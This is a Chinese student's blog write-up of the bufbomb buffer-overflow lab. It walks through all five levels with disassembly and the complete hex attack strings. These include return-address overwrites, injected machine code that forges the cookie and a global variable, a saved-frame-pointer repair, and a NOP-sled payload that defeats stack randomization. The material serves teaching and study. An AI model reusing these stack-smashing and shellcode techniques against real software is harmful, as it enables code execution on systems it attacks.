bufbomb关于缓冲区溢出攻击

smoke
要求:构造攻击字符串作为目标程序输入,造成缓冲区溢出,使getbuf()返回时不返回到test函数,而是转向执行smoke
思路:
理解了getbuf栈的构成:开辟的空间[1][2][3]…[32]+rbp+返回地址
只需要把getbuf返回的地址设置为smoke地址即可(开始的时候因为不理解栈的结构,发懵了很久)
第一步:确定开辟空间大小

00000000004018b9 <getbuf>:
  4018b9:   55                      push   %rbp
  4018ba:   48 89 e5                mov    %rsp,%rbp
  //开辟空间大小
  4018bd:   48 83 ec 20             sub    $0x20,%rsp
  4018c1:   48 8d 45 e0             lea    -0x20(%rbp),%rax

第二步:确定smoke的地址

00000000004010b6 <smoke>:
  4010b6:   55                      push   %rbp

答案:

00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00
b6 10 40 00

运行结果:
这里写图片描述

fizz**
要求:这次返回的是fizz函数,但是fizz函数需要传入一个参数,使得val==cookie才能成功

void fizz(int val)
{
   if (val == cookie) {
      printf("Fizz!: You called fizz(0x%x)\n", val);
      validate(1);
   } else
     printf("Misfire: You called fizz(0x%x)\n", val);
   exit(0);
} 

思路:
使用Gets来读取自己修改的cookie的值(跟bang一个套路),自己在这里卡了特别久
修改信息:注意,cookie参数要穿进%edi

 4004e6:    bf 39 ec 4d 37          mov    $0x374dec39,%edi
 4004eb:    c3                      retq   
 4004ec:    5d                      pop    %rbp

答案:

bf 39 ec 4d 37 c3 00 00
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
80 36 68 55 00 00 00 00
d8 10 40

运行结果:
这里写图片描述

bang
要求:构造攻击字串,使目标程序调用bang函数,要将函数中全局变量global_value篡改为cookie值
思路:让getbuf正常的跑,但是返回地址调到Gets,在Gets里边写入我们的攻击代码
第一步:修改全局变量+正确返回bang
需要找到global_value位置,可以打印出一张字符表,使用命令

 bufbomb > buf_table  //输出bufbomb的符号表到文本文件buf_table

可见,global_value地址是0x6061f0

00000000006061f0 g     O .bss   0000000000000004              global_value
0000000000000000       F *UND*  0000000000000000              random@@GLIBC_2.2.5
0000000000402ab0 g     F .text  0000000000000065              __libc_csu_init

用cookie的值替换全局变量的值,先分别mov到两个寄存器,再用cookie覆盖
global_value,创建一个.c的文件,再生成.s文件,再.s文件中添加:

4004e6: 48 c7 c0 39 ec 4d 37    mov    $0x374dec39,%rax
4004ed: 48 c7 c1 f0 61 60 00    mov    $0x6061f0,%rcx
4004f4: 48 89 01                mov    %rax,(%rcx)
4004f7: c3                      retq  

再生成.out文件,再用objdump反汇编,产生机器级代码:

//返回值是cookie
4004e6: 48 c7 c0 39 ec 4d 37    mov    $0x374dec39,%rax
4004ed: 48 c7 c1 f0 61 60 00    mov    $0x6061f0,%rcx
4004f4: 48 89 01                mov    %rax,(%rcx)
4004f7: c3                      retq  

第二步:找到Gets的输入位置
就是怎样引导getbuf去执行我们的恶意代码 。通过return到Gets,读进我们写的恶意代码

答案:篡改的机器指令+剩余填充+Gets首地址+传入参数
答案:

48 c7 c0 39 ec 4d 37 48 
c7 c1 f0 61 60 00 48 89 
01 c3 00 00 00 00 00 00 
00 00 00 00 00 00 00 00  
00 00 00 00 00 00 00 00
80 36 68 55 00 00 00 00
2e 11 40

运行结果:
这里写图片描述

boom

000000000040118f <test>:
  40118f:   55                      push   %rbp
  401190:   48 89 e5                mov    %rsp,%rbp
  401193:   48 83 ec 10             sub    $0x10,%rsp
  401197:   b8 00 00 00 00          mov    $0x0,%eax
  40119c:   e8 b3 04 00 00          callq  401654 <uniqueval>
  4011a1:   89 45 f8                mov    %eax,-0x8(%rbp)
  4011a4:   b8 00 00 00 00          mov    $0x0,%eax
  4011a9:   e8 0b 07 00 00          callq  4018b9 <getbuf>
  //调用getbuf
  //
  4011ae:   89 45 fc                mov    %eax,-0x4(%rbp)
  4011b1:   b8 00 00 00 00          mov    $0x0,%eax
  4011b6:   e8 99 04 00 00          callq  401654 <uniqueval>
  4011bb:   89 c2                   mov    %eax,%edx
  4011bd:   8b 45 f8                mov    -0x8(%rbp),%eax
  4011c0:   39 c2                   cmp    %eax,%edx
  4011c2:   74 0c                   je     4011d0 <test+0x41>
  4011c4:   bf e0 2b 40 00          mov    $0x402be0,%edi
  4011c9:   e8 c2 fb ff ff          callq  400d90 <puts@plt>
  4011ce:   eb 41                   jmp    401211 <test+0x82>
  4011d0:   8b 55 fc                mov    -0x4(%rbp),%edx
  4011d3:   8b 05 0f 50 20 00       mov    0x20500f(%rip),%eax        # 6061e8 <cookie>
  4011d9:   39 c2                   cmp    %eax,%edx
  4011db:   75 20                   jne    4011fd <test+0x6e>
  4011dd:   8b 45 fc                mov    -0x4(%rbp),%eax
  4011e0:   89 c6                   mov    %eax,%esi
  4011e2:   bf 09 2c 40 00          mov    $0x402c09,%edi
  4011e7:   b8 00 00 00 00          mov    $0x0,%eax
  4011ec:   e8 0f fc ff ff          callq  400e00 <printf@plt>
  4011f1:   bf 03 00 00 00          mov    $0x3,%edi
  4011f6:   e8 13 08 00 00          callq  401a0e <validate>
  4011fb:   eb 14                   jmp    401211 <test+0x82>
  4011fd:   8b 45 fc                mov    -0x4(%rbp),%eax
  401200:   89 c6                   mov    %eax,%esi
  401202:   bf 26 2c 40 00          mov    $0x402c26,%edi
  401207:   b8 00 00 00 00          mov    $0x0,%eax
  40120c:   e8 ef fb ff ff          callq  400e00 <printf@plt>
  401211:   90                      nop
  401212:   c9                      leaveq 
  401213:   c3                      retq

要求:在test中调用getbuf()函数,再返回一个值,这个返回值需要修改成cookie,并且能够正确的返回test函数。用缺省的代码描述,像下边这样:要完成这段代码里边的内容

test(){
getbuf();//调用函数
}
getbuf(){
Gets();//调用Gets读进字符串内容
return ;//有返回值,题目要求这个返回值是cookie
}

思路:gebuf的这一个栈帧里边到底有什么:数据域+ebp(存储调用getbuf前的栈帧信息)+返回的text的地址
我们想这么设计,我们利用gebuf函数里边开辟的存放数据的空间,用来写一个修改返回信息的过程(修改cookie+顺利返回test)。或者这么想,我们要做两件事情,修改cookie+顺利返回test,getbuf的堆栈里边哪里能允许我们这么做,空间[1][2][3]……[32]里边可以;第二个问题,我们写在[1][2][3]……里边的内容,怎么样才能访问,当然是调用Gets(),怎么样调用Gets():地址返回要写Gets()的输入字符的首地址。
第一步:编写自己要修改的两个信息
创建一个.c的文件,再生成.s文件,再.s文件中添加:

//%rax里边存储的是getbuf返回值,所以要把cookie放在里边
mov $0x374dec39,%rax
push $0x4011ae
ret

再生成.out文件,再用objdump反汇编,产生机器级代码:

 4004e6:    48 c7 c0 39 ec 4d 37    mov    $0x374dec39,%rax
 4004ed:    68 ae 11 40 00          pushq  $0x4011ae
 4004f2:    c3                      retq   

这里就是Gets()访问的内容
第二步:getbuf的%rbp写什么
理解getbuf的%rbp里边到底是什么,它保存的是test的%rbp,做这个操作是为了,出于保护的目的,调用了getbuf以后依旧能够返回test函数。为了不使getbuf里边的内容被破坏,他的%rbp,必须要跟原来没有调用getbuf函数前的是一致的。我们查看test的%rbp
这里写图片描述
第三步:返回地址,Gets()读取的首个地址
开始开辟了0x20个空间,所以只要用%rbp-0x20就是第一个输入字符的位置(靠近栈顶的位置)
这里写图片描述
所以答案就是:
需要修改的两个内容的编码+其余不变+修改%rbp+返回地址
答案:

48 c7 c0 39 ec 4d 37 68 
ae 11 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
c0 36 68 55 00 00 00 00
80 36 68 55 

运行结果:
这里写图片描述

nitro

0000000000401214 <testn>:
  401214:   55                      push   %rbp
  401215:   48 89 e5                mov    %rsp,%rbp
  401218:   48 83 ec 10             sub    $0x10,%rsp
  40121c:   b8 00 00 00 00          mov    $0x0,%eax
  401221:   e8 2e 04 00 00          callq  401654 <uniqueval>
  401226:   89 45 f8                mov    %eax,-0x8(%rbp)
  401229:   b8 00 00 00 00          mov    $0x0,%eax
  40122e:   e8 a1 06 00 00          callq  4018d4 <getbufn>//调用
  401233:   89 45 fc                mov    %eax,-0x4(%rbp)
  401236:   b8 00 00 00 00          mov    $0x0,%eax
  40123b:   e8 14 04 00 00          callq  401654 <uniqueval>

要求:在上一题基础上,现在的Gets地址是随机变化的,并且要求五次攻击均要成功
思路:
先让getbufn跑一遍自己原来该有的程序,但是再return的位置改成Gets,变成了再输入一次字符串
在开辟的0x200空间里,使用nop一直滑啊滑,滑到Gets的输入首地址
这里我们占用一部分的%rbp的位置来存放攻击的代码,所以我们要恢复%rbp本来应该有的位置
第一步:修改cookie为返回值+返回testn
这里的%rbp修复,需要知道%rbp原来到底是多少,即去查询test里边的%rbp 和%rsp关系。
明确:%rbp=%rsp+需要修改的值
这里写图片描述

//修改cookie
4004e6: 48 c7 c0 39 ec 4d 37    mov    $0x374dec39,%rax
//%rbp修复
4004ed: 48 8d 6c 24 10          lea    0x10(%rsp),%rbp
//返回test调用后yin该返回的地址
4004f2: 68 33 12 40 00          pushq  $0x401233
4004f7: c3                      retq  

第二步:确定getbufn的首个输入字符的地址
确定getbufn开辟空间大小

00000000004018d4 <getbufn>:
  4018d4:   55                      push   %rbp
  4018d5:   48 89 e5                mov    %rsp,%rbp
  4018d8:   48 81 ec 00 02 00 00    sub    $0x200,%rsp
  4018df:   48 8d 85 00 fe ff ff    lea    -0x200(%rbp),%rax
  4018e6:   48 89 c7                mov    %rax,%rdi
  4018e9:   e8 5b fa ff ff          callq  401349 <Gets>
  4018ee:   b8 01 00 00 00          mov    $0x1,%eax
  4018f3:   c9                      leaveq 
  4018f4:   c3                      retq   

开辟0x200大小
查询Gets函数的首地址
这里写图片描述
这里采取了一个防止缓冲器恶意攻击的办法–栈随机化,但是我们只要知道一个地址,就可以用nop一直滑到Gets的首个输入地址,同时为了保证五次都成功,Gets地址要选取最大的,保证所有地址都能滑到,开始的时候没有注意,一直不通过。
所以答案:502个nop+(10+8)个篡改的机器编码+Gets地址
答案:

90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90
48 c7 c0 39 ec 4d 
37 48 8d 6c 24 10 68 33 12 40 
00 c3 
00 35 68 55 0a

调试过程:
这里写图片描述
只有一次攻击成功,那么答案应该写五次
同时,开始的时候只把代码复制五遍,但是,发现这样子一次都不能通过了,后来想了一下,这是五次输入,中间应该会有间隔的符号,后来加上了0a(\n),完成任务
这里写图片描述

猜你喜欢

转载自blog.csdn.net/leafdown_/article/details/78609182